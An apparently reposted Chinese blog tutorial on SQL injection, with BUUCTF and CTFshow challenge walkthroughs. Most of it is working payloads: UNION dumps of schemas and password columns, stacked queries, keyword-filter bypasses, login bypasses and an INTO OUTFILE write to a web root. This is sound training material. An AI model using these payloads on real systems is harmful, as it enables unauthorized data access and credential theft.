SQL注入基本原理靶场实现

   ↵

一、前言

        SQL注入漏洞(SQL injection)是WEB层面高危的漏洞之一,也是常见的攻击方式。

二、本质

1、什么是SQL注入

        SQL 注入是一种利用应用程序对用户输入数据过滤不严格,将恶意 SQL 代码插入到正常 SQL 语句中,从而操控数据库查询逻辑的攻击技术。

        其核心原理是混淆代码与数据边界,使攻击者能够执行非授权的数据库操作。

      关键条件

  1. 用户可控输入:攻击者能控制应用程序的输入参数(如 URL、表单、Cookie)。

  2. 拼接 SQL 语句:程序直接将用户输入拼接到 SQL 查询中,未做过滤或转义。

  3. 数据库权限过高:应用使用的数据库账户权限过大(如 root

三、注入类型

1. 联合查询注入

  • 原理:通过 UNION 操作符将恶意查询拼接到原查询,合并结果集

  • 利用条件

    • 原查询的列数与 UNION 后的查询列数一致

    • 页面有回显查询结果的功能

2. 报错注入

        原理:故意触发数据库报错,使错误信息中包含敏感数据

3. 布尔盲注 

        原理:通过页面返回的布尔状态(真/假差异,逐字符推断数据

        适用场景:页面无回显,但会根据 SQL 执行结果返回不同内容(如登录成功/失败) 

4. 时间盲注

        原理:通过数据库的延时函数(如 SLEEP()、BENCHMARK()),根据响应时间判断条件真假
        适用场景:页面无任何回显差异,但能感知响应延迟

5. 堆叠查询注入

        原理:利用分号 ; 执行多条 SQL 语句,实现增删改查操作
        依赖条件:数据库支持多语句执行(如 MySQL 的 mysqli_multi_query)

6. 二次注入

        原理:恶意数据先被存储到数据库,后续查询时被触发执行
        特点:绕过输入时的过滤(过滤不彻底或存储后未转义)

7. 宽字节注入

        原理:利用数据库字符集编码(如 GBK)的特性,绕过转义符(\)
        关键:构造 %df',与转义符 \ 结合成宽字符(如 %df%5c 对应 運),使单引号逃逸

 8、姿势总结(自己总结的,根据实际情况改变)

 1、判断注入点

?id=1'                     #看是否存在sql注入
#1' or 1=1#         
#和--在sql语句中起着注释的作用,将后面的语句注释掉,+ 则代表空,#在浏览器中需要url编码	
?id=1' and 1=1 --+       #观察是否有回显
?id=1' amd 1=2 --+

 2、判断当前表的字段个数

1' order by 1# --+        

 3、判断显示位

?id=1' union select 1,2,3--+

4、爆出库

1'union select 1,2,database()--+
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=1  and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

 5、爆出表

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'--+

 6、爆出列

?id=-1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'--+

 7、查询内容

?id=-1' and 1=2 union select 1,2,group_concat(字段) from 库名.表名--+
#?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

四、靶场实现

BUUCTF CTF

1、easy_sql

1、进入靶场,输入1’ or 1=1

得到

2、输入1‘ or 1#将后面的注释掉

得到回显

3、判断一下字段个数' union select 1,2;#

select被过滤

4、输入1;show databases;#爆破库

得到该表的数据库内容

5、输入1';show tables;#爆破表

得到两表

6、查看一下第一个表1919810931114514的表结构

有两种方式

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

#注意,如果tableName是纯数字,需要用包裹,比如 1';desc 1919810931114514`;#

得到类型为字符型

方法一:因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:

1';PREPARE hacker from concat('s','elect', '*from1919810931114514 ');EXECUTE hacker;#

方法二:

select*from`1919810931114514`
语句进行16进制编码,即:
73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
同时,我们也可以先定义一个变量并将sql语句初始化,然后调用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

方法三:通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果

1';altertable words renameto words1;altertable`1919810931114514`renameto words;altertable words change flag id varchar(50);#

方法四:此题还可以通过handle直接出答案: 1';HANDLER1919810931114514OPEN;HANDLER1919810931114514READFIRST;HANDLER 1919810931114514CLOSE;

2、LoveSQL

1、使用1'出现报错说明存在SQL注入

2、使用万能密码得到

3、爆字段

check.php?username=admin ' order by 1 %23&password=1

check.php?username=admin ' order by 2 %23&password=1

check.php?username=admin ' order by 3 %23&password=1

得到有3个字段

4、看回显

1' union select 1,2,3#

得出回显位在2,3

5、爆数据库

1‘ union select 1,database(),version()#

得到数据库名geek 和数据库版本

6、爆数据表

1' union select 1,2,group_concat(table_name)from information_schema.tables where

table_schema=database()#

得到两张表

7、爆破字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where

table_name='l0ve1ysq1'#

8、爆破flag

1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1

3、BABYSQL

双写绕过

进入靶场

1、使用万能密码尝试

发现有过滤但是不知过滤什么

2、查看字段

发现过滤了or,双写绕过

1' oorr by 1#

3、爆破数据库

发现union select过滤

1' ununionion seselectlect 1,2,database()#

双写过后

找到数据库名称

4、爆破表

1' ununionion seselectlect 1,2,group_contact(table_name) from information_schema.tables where

table_schema='geek'#

双写后

1 1' ununionion seselectlect 1,2,group_concat(table_name) frfromom

infoorrmation_schema.tables whwhereere table_schema='geek'#

5、爆破列表

1 1' ununionion seselectlect 1,2,group_concat(column_name) frfromom

infoorrmation_schema.columns whwhereere table_name='b4bsql'#

6、爆破字段

1 1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

得到flag

CTFshow

WEB171

1、?id=1' order by 3--+     //判断回显位有三个字段2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出库名  information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表   ctfshow_user4、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+
//得到字段  id,username,password5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user--+
//得到数据  admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{87b8e647-d1cb-4b46-a2b6-ee5bcf9219fc}

web172

1、?id=1' order by 2--+     //判断回显位有两个字段2、?id=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+//得到库名  	information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//得到表ctfshow_user,ctfshow_user2,表1没有flag4、?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+
//得到字段id,username,password,5、?id=-1' and 1=2 union select 1,group_concat(password) from ctfshow_web.ctfshow_user2--+
//得到数据
admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{ff5e89a0-2cd5-4213-963f-d0ac7267d004}

web173

1、?id=1' order by 3--+     //判断回显位有三个字段2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出库名  information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表  ctfshow_user,ctfshow_user2,ctfshow_user34、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'--+
//得到字段  id,username,password5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3--+
//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{25d9e295-dd78-46a7-9355-e06e53e2e357}

web174

//检查结果是否有flagif(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查询成功';}1、?id=1' order by 3--+     //判断回显位有2个字段2、?id=1' and 1=2 union select null,group_concat(schema_name) from information_schema.schemata--+
//用数字代表字段时没有回显,应该是被过滤了,所以换成null
得到库名	information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select null,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from information_schema.tables where table_schema='ctfshow_web'--+
//因为0-9都被过滤了,所以将1-9-0替换成A-J
查询得ctfshow_userD替换为数字为ctfshow_user4、?id=0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
得到flag    ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
利用python,replace替换回来
def rev_replace(txt):repl = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}for k, v in repl.items():txt = txt.replace(k, v)return txttxt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)输入:ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
替换后:  ctfshow{9a772e19-3d45-46b3-bdd4-38cce96371c3}
得到flag

web175

1、写时间盲注脚本
2、' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -
直接将flag写入到靶场服务器文件中

web176

1、1' order by 4--+   //无回显判断出回显位有三位
2、1' union select 1,2,3--+  //无法查询到数据1'--+和1' --+ //可以查询到数据说明单引号和空格没有被过滤1' union Select database(),2,3--+//查询到数据库名称ctfshow_web所以是select被过滤了,用大写绕过
3、' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+查询到数据库表名ctfshow_user
4、' union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+查询到数据库列名id,username,password
5、' union Select 1,group_concat(username),group_concat(password) from ctfshow_web.ctfshow_user--+查询字段数据//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{e69b119f-1d03-4873-85ae-613dad8f4b9a}得到flag

web177

1、1'--+无数据显示--+编码后1'%23可以回显数据,所以--+被过滤1' %23无法显示数据,空格也被过滤1'%0a%23有回显
2、1'%0aor%0a1=1%23万能密码直接得到flag
3、1'%0aorder%0aby%0a4%23  //判断回显位为3按照上题步骤将空格和--+替换即可
'%0aunion%0aselect%0a1,group_concat(username),group_concat(password)%0afrom%0actfshow_web.ctfshow_user%23得到flag

web178

1、与上题一样空格和--+被过滤
万能密码直接得到flag或替换

web179

其他可替代空格的字符
URL编码	ASCII字符	说明
%20	空格	标准空格
%09	制表符	水平制表符(Tab)
%0a	换行符	新行(LF,Unix换行)
%0d	回车符	回车(CR,旧版Mac换行)
%0c	换页符	分页符(Form Feed)
空格与--+与%0a都被过滤
1、1'%0cor%0c1=1%23

web180

空格,--+,%0a,%23都被过滤了
用--%c闭合
也可以这样'or(id=26)and'1'='1
1、'union%0cselect%0c1,2,database()--%0c//得到数据库ctfshow_web
2、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
//得到表ctfshow_user
3、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c
//得到列id,username,password
4、'%0cand%0c1=2%0cunion%0cselect%0c1,group_concat(username),group_concat(password)%0cfrom%0cctfshow_web.ctfshow_user--%0c
//得到flag

web181

1、1'%0cor%0c1=1--%0c万能密码
2、'or(id=26)and'1'='1
3、-1'%0cor%0cusername%0clike%0c'flag
4、这里我们主要用到and的优先级比or高可以看到源代码里面有and可以在and后面加or使其在执行了and以后 or的前后都执行所以构造payload-1'||username='flag

web182

1、1'%0cor%0c1=1--%0c
2、'or(id=26)and'1'='1
3、-1'||(username)like'%f% //模糊匹配

至此SQL注入告一段落

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/76502.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图像预处理(OpenCV)

1 图像翻转(图像镜像旋转) 在OpenCV中,图片的镜像旋转是以图像的中心为原点进行镜像翻转的。 cv2.flip(img,flipcode) 参数 img: 要翻转的图像 flipcode: 指定翻转类型的标志 flipcode0: 垂直翻转,图片像素点沿x轴翻转 flipcode>0: 水平翻转&…

PCDN收益高低的关键因素

PCDN(P2P内容分发网络)收益好的三个主要关键因素是:硬件配置与性能、网络环境与质量、业务调度与策略。 1. 硬件配置与性能 设备稳定性与兼容性 PCDN节点需长时间稳定运行,硬件性能直接影响收益。例如,使用高性能CPU、…

『生成内容溯源系统』详解

生成内容溯源系统详解 1. 定义与核心目标 生成内容溯源系统(Generative Content Provenance System)是指能够追踪AI生成内容的来源、生成过程、版权归属及修改历史的技术体系。其核心目标是: 验证真实性:证明内容由特定AI模型生…

conda如何安装和运行jupyter

在Conda环境中安装和运行Jupyter Notebook是一项常见且实用的任务,特别是在数据科学和机器学习项目中。以下是使用Conda安装和运行Jupyter Notebook的步骤: 安装Jupyter Notebook 首先,确保你的Conda是最新的。打开终端或Anaconda Prompt&a…

QML之Flickable(滚动区域)

Flickable 是 QML 中用于创建可滚动区域的基础组件,它比 ScrollView 提供更底层的控制,适合需要自定义滚动行为的场景。 基本用法 qml import QtQuick 2.15Flickable {width: 200height: 200contentWidth: 400 // 内容总宽度contentHeight: 800 // 内…

【NumPy科学计算引擎:从基础操作到高性能实践】

目录 前言:技术背景与价值当前技术痛点解决方案概述目标读者说明 一、技术原理剖析关键技术模块说明技术选型对比 二、实战演示环境配置核心代码实现运行结果验证 三、性能对比测试方法论量化数据对比结果分析 四、最佳实践推荐方案 ✅常见错误 ❌调试技巧 五、应用…

PandaGPT实战(1): 环境配置及效果演示

文章目录 1. 环境安装2. 数据准备2.1 模型权重获取2.2 训练数据准备3. 效果演示3.1 训练3.2 部署效果PandaGPT是首个无需显式监督即能跨六种模态执行指令微调任务的基础模型。它展现出多样化的多模态能力,包括复杂理解/推理、基于知识的描述以及多轮对话交互。 作为通用型指令…

spring security oauth2.0 使用GitHub

在 Spring Security 中集成 GitHub 的 OAuth 2.0 登录,可以实现用户通过 GitHub 账号快速认证。以下是完整的分步实现指南和代码示例: 一、前置准备 1. 在 GitHub 注册 OAuth 应用 访问 GitHub Settings → Developer settings → OAuth Apps点击 New …

QT聊天项目DAY01

1.新建初始项目 2.修改UI格式 运行效果 3.创建登录界面 设计登录界面UI 设计布局 调整布局间距 往水平布局中拖入标签和文本输入框 更换控件名称并固定高度 添加窗口部件 往现有的资源文件中导入图片 添加水平布局 4.设置登陆界面为主窗口的核心组件 #pragma once#include &l…

检测到目标URL存在http host头攻击漏洞

漏洞描述 修复措施 方法一: nginx 的 default_server 指令可以定义默认的 server 去处理一些没有匹配到 server_name 的请求,如果没有显式定义,则会选取第一个定义的 server 作为 default_server。 server { …

小甲鱼第004讲:变量和字符串(下)| 课后测试题及答案

问答题: 0. 请问下面代码有没有毛病,为什么? 请问下面代码为什么会出错,应该如何解决? 答:这是由于在字符串中,反斜杠()会与其随后的字符共同构成转义字符。 为了避免这种不测情况的发生,我们可以在字符串的引号前面…

Hyprnote开源程序是一款记录和转录您会议的 AI 记事本。 本地优先且可扩展 。

一、软件介绍 文末提供源码下载学习 Hyprnote开源程序是一款记录和转录您会议的 AI 记事本。 从您的原始会议记录中生成强大的摘要,本地优先且可扩展 。使用开源模型 (Whisper & Llama) 离线工作,高度可扩展 ,由插…

FreeRTOS使任务处于阻塞态的API

在FreeRTOS中,任务进入阻塞状态通常是因为等待某个事件或资源。以下是常用的使任务进入阻塞态的API及其分类: 1. 任务延时 vTaskDelay(pdMS_TO_TICKS(ms)) 将任务阻塞固定时间(相对延时,从调用时开始计算)。 示例&…

各种“排序”的方法

文章目录 插入排序1. 直接插入排序(O(n^2))举例1:举例2:直插排序的"代码"直插排序的“时间复杂度” 2. 希尔排序(O(n^1.3))方法一方法二(时间复杂度更优) 选择排序堆排序直接选择排序 我们学过冒泡排序,堆排序等等。(回…

【Linux网络与网络编程】08.传输层协议 UDP

传输层协议负责将数据从发送端传输到接收端。 一、再谈端口号 端口号标识了一个主机上进行通信的不同的应用程序。在 TCP/IP 协议中,用 "源IP","源端口号","目的 IP","目的端口号"&…

python求π近似值

【问题描述】用公式π/4≈1-1/31/5-1/7..1/(2*N-1).求圆周率PI的近似值。 从键盘输入一个整数N值,利用上述公式计算出π的近似值,然后输出π值,保留小数后8位。 【样例输入】1000 【样例输出】3.14059265 def countpi(N):p0040nowid0for i i…

第十六届蓝桥杯省赛JavaB组题解

A 逃离高塔 第一道填空题很简单&#xff0c;根据题意跑一边循环即可&#xff0c;一共是202个符合条件的数 public static void main(String[] args) {Scanner scanner new Scanner(System.in);int ans0;for(long i0;i<2025;i){if((i*i*i)%103)ans;}System.out.println(ans)…

汽车车窗升降系统全生命周期耐久性验证方案研究

随着汽车行业的快速发展&#xff0c;消费者对于汽车品质和安全性的要求日益提高。汽车车窗升降系统作为汽车电子系统中的重要组成部分&#xff0c;其可靠性和耐久性直接影响到用户的使用体验和行车安全。车窗升降系统在日常使用中频繁操作&#xff0c;承受着各种复杂的工况&…

嵌入式Linux——8 串口

目录 1.终端&#xff08;tty&#xff09; /dev/tty*&#xff1a;物理/虚拟终端 /dev/pts/*&#xff1a;伪终端 /dev/tty&#xff1a;当前进程的控制终端 /dev/tty0&#xff1a;当前活动的虚拟控制台 2.行规程模式&#xff08;line discipline&#xff09; 比较行规程和原…

Docker日志查看与资源监控指令全解:从基础到高阶运维实践

Docker日志查看与资源监控指令全解&#xff1a;从基础到高阶运维实践 一、日志管理&#xff1a;穿透容器内部的眼睛1.1 基础日志操作核心命令&#xff1a;docker logs日志驱动配置 1.2 高级日志处理JSON日志解析多容器日志聚合 二、资源监控&#xff1a;掌握容器生命体征2.1 实…